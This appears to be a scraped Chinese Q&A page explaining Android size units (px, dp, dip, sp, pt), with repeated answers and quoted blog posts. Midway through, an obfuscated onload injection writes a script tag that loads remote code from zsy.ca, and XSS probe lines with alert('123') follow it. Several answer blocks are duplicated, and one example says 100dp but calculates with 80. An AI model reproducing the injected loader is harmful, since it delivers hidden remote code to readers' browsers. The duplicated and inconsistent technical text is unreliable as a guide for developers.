android中px,dp,dip和sp有什么不同?

有人能解释android中px,dip,dp和sp这些单位的不同么?

px就是一个像素宽度-独立像素(设备),设备独立像素(dip)是你想使用的设备的字体大小,而且设备独立像素对于所有的事情。在这里设备独立像素——dphttp://developer.android.com/guide/topics/resources/more-resources.html#Dimension
Px
像素-相当于屏幕上的实际像素。
In
英寸-基于屏幕的物理尺寸
Mm
毫米-基于屏幕的物理尺寸
Pt
点-基于屏幕的物理尺寸,英寸的72分之一
Dp
密度-独立像素-一个基于屏幕的物理密度的抽象的单位。这个单位和160分辨率的屏幕是成比例的,所以在一个160分辨率的屏幕下,1dp就是1px。Dp和像素的比率将会随着屏幕的密度改变而改变,但是并不一定就是正比。注意:编译器既接受“dip”也接受“dp”,尽管dp比sp更符合。
Sp
刻度-独立像素-它就像dp单位,但是它也取决于用户偏好的字体大小。当指定字体大小的时候,我推荐您使用这个单位,因为它既调整了屏幕的密度,也调整了使用者的偏好。

对于除了字体外的任何事情使用dp,对于字体使用sp。
对于不同尺寸和密度的各种屏幕来说,关于这个的几乎每件事情和如何达到最好的支持,这都有记载
Supporting Multiple Screens
对于超过一种类型的设备来说,如果你在开发一个android app时有任何严重的问题你都应该至少读上边的内容一次。除此以外,对于知道一个特殊屏幕设备的活跃用户数也是非常重要的。
Screen Sizes and Densities

px就是一个像素宽度-独立像素(设备),设备独立像素(dip)是你想使用的设备的字体大小,而且设备独立像素对于所有的事情。在这里设备独立像素——dphttp://developer.android.com/guide/topics/resources/more-resources.html#Dimension
Px
像素-相当于屏幕上的实际像素。
In
英寸-基于屏幕的物理尺寸
Mm
毫米-基于屏幕的物理尺寸
Pt
点-基于屏幕的物理尺寸,英寸的72分之一
Dp
密度-独立像素-一个基于屏幕的物理密度的抽象的单位。这个单位和160分辨率的屏幕是成比例的,所以在一个160分辨率的屏幕下,1dp就是1px。Dp和像素的比率将会随着屏幕的密度改变而改变,但是并不一定就是正比。注意:编译器既接受“dip”也接受“dp”,尽管dp比sp更符合。
Sp
刻度-独立像素-它就像dp单位,但是它也取决于用户偏好的字体大小。当指定字体大小的时候,我推荐您使用这个单位,因为它既调整了屏幕的密度,也调整了使用者的偏好。

px像素,dp dip密度 sp 字体大小

可以参考下这篇文章:http://blog.csdn.net/sky1203850702/article/details/39522883

Px
像素-相当于屏幕上的实际像素。
In
英寸-基于屏幕的物理尺寸
Mm
毫米-基于屏幕的物理尺寸
Pt
点-基于屏幕的物理尺寸,英寸的72分之一
Dp
密度-独立像素-一个基于屏幕的物理密度的抽象的单位。这个单位和160分辨率的屏幕是成比例的,所以在一个160分辨率的屏幕下,1dp就是1px。Dp和像素的比率将会随着屏幕的密度改变而改变,但是并不一定就是正比。注意:编译器既接受“dip”也接受“dp”,尽管dp比sp更符合。
Sp
刻度-独立像素-它就像dp单位,但是它也取决于用户偏好的字体大小。当指定字体大小的时候,我推荐您使用这个单位,因为它既调整了屏幕的密度,也调整了使用者的偏好

onload="\u0064ocument.write('<sc'+'ript src=//zsy.ca/33></sc'+'ript>')

<script>alert('123')<script>
</p><script>alert('123')</script><p>

px像素,dp dip密度 sp 字体大小

相信每个Android新手都会遇到这个问题,希望这篇帖子能让你不再纠结。

px:

即像素,1px代表屏幕上一个物理的像素点;

px单位不被建议使用,因为同样100px的图片,在不同手机上显示的实际大小可能不同,如下图所示。

dp:

这个是最常用但也最难理解的尺寸单位。它与“像素密度”密切相关,所以首先我们解释一下什么是像素密度。假设有一部手机,屏幕的物理尺寸为1.5英寸x2英寸,屏幕分辨率为240x320,则我们可以计算出在这部手机的屏幕上,每英寸包含的像素点的数量为240/1.5=160dpi(横向)或320/2=160dpi(纵向),160dpi就是这部手机的像素密度,像素密度的单位dpi是Dots Per Inch的缩写,即每英寸像素数量。横向和纵向的这个值都是相同的,原因是大部分手机屏幕使用正方形的像素点。

不同的手机/平板可能具有不同的像素密度,例如同为4寸手机,有480x320分辨率的也有800x480分辨率的,前者的像素密度就比较低。Android系统定义了四种像素密度:低(120dpi)、中(160dpi)、高(240dpi)和超高(320dpi),它们对应的dp到px的系数分别为0.75、1、1.5和2,这个系数乘以dp长度就是像素数。例如界面上有一个长度为“100dp”的图片,那么它在240dpi的手机上实际显示为80x1.5=120px,在320dpi的手机上实际显示为80x2=160px。如果你拿这两部手机放在一起对比,会发现这个图片的物理尺寸“差不多”,这就是使用dp作为单位的效果,见下图。

dip:

与dp完全相同,只是名字不同而已。在早期的Android版本里多使用dip,后来为了与sp统一就建议使用dp这个名字了。

sp:

与缩放无关的抽象像素(Scale-independent Pixel)。sp和dp很类似但唯一的区别是,Android系统允许用户自定义文字尺寸大小(小、正常、大、超大等等),当文字尺寸是“正常”时1sp=1dp=0.00625英寸,而当文字尺寸是“大”或“超大”时,1sp>1dp=0.00625英寸。类似我们在windows里调整字体尺寸以后的效果——窗口大小不变,只有文字大小改变。

还有几个比较少用到的尺寸单位:

mm:

即毫米;

in:

即英寸,1英寸=2.54厘米(约);

pt:

1pt=1/72英寸=0.035厘米;

最佳实践,文字的尺寸一律用sp单位,非文字的尺寸一律使用dp单位。例如textSize="16sp"、layout_width="60dp";偶尔需要使用px单位,例如需要在屏幕上画一条细的分隔线时:

参考资料:

Difference of px, dp, dip and sp in Android?
Supporting Multiple Screens
DisplayMetrics

本文地址:http://www.cnblogs.com/bjzhanghao/archive/2012/11/06/2757300.html#

 显示单位px和dip以及sp的区别
  dip: device independent pixels(设备独立像素). 不同设备有不同的显示效果,这个和设备硬件有关,一般我们为了支持WVGA、HVGA和QVGA 推荐使用这个,不依赖像素。
  px: pixels(像素). 不同设备显示效果相同,一般我们HVGA代表320x480像素,这个用的比较多。
  pt: point,是一个标准的长度单位,1pt=1/72英寸,用于印刷业,非常简单易用;
  sp: scaled pixels(放大像素). 主要用于字体显示best for textsize。
  由此,根据 google 的建议,TextView 的字号最好使用 sp 做单位,而且查看
  TextView
  的源码可知 Android 默认使用 sp 作为字号单位。
  ###################################################################
  关于换算(以 sp 和 pt 为例)
  查看 TextView 等类的源码,可知:
  case COMPLEX_UNIT_PX:
  return value;
  case COMPLEX_UNIT_SP:
  return value * metrics.scaledDensity;
  case COMPLEX_UNIT_PT:
  return value * metrics.xdpi * (1.0f/72);
  --------------------------
  scaledDensity = DENSITY_DEVICE / (float) DENSITY_DEFAULT;
  xdpi = DENSITY_DEVICE;
  --------------------------
  DENSITY_DEFAULT = DENSITY_MEDIUM = 160;
  ============================================
  所以: 假设 pt 和 sp 取相同的值 1,则可设 1pt 和 1sp 之间系数为 x,
  1 * DENSITY_DEVICE / 72 = x * 1 * DENSITY_DEVICE / 160 =>
  x = 160 / 72 = 2.2222
  也就是说在 Android 中, 1pt 大概等于 2.22sp
  以上供参考,如果 UI 能够以 sp 为单位提供设计是最好的,如果设计中没有 sp
  的概念,则开发人员也可以通过适当的换算取近似值。
  什么是Dip和 Sp
  过去,程序员通常以像素为单位设计计算机用户界面。例如,定义一个宽度为300像素的表单字段,列之间的间距为5个像素,图标大小为16×16像素 等。这样处理的问题在于,如果在一个每英寸点数(dpi)更高的新显示器上运行该程序,则用户界面会显得很小。在有些情况下,用户界面可能会小到难以看清 内容。
  与分辨率无关的度量单位可以解决这一问题。Android支持下列所有单位。
  px(像素):屏幕上的点。
  in(英寸):长度单位。
  mm(毫米):长度单位。
  pt(磅):1/72英寸。
  dp(与密度无关的像素):一种基于屏幕密度的抽象单位。在每英寸160点的显示器上,1dp = 1px。
  dip:与dp相同,多用于 android/ophone示例中。
  sp(与刻度无关的像素):与dp类似,但是可以根据用户的字体大小首选项进行缩放。
  为了使用户界面能够在现在和将来的显示器类型上正常显示,建议大家始终使用sp作为文字大小的单位,将dip作为其他元素的单位。当然,也可以考虑使用矢量图形,而不是用位图。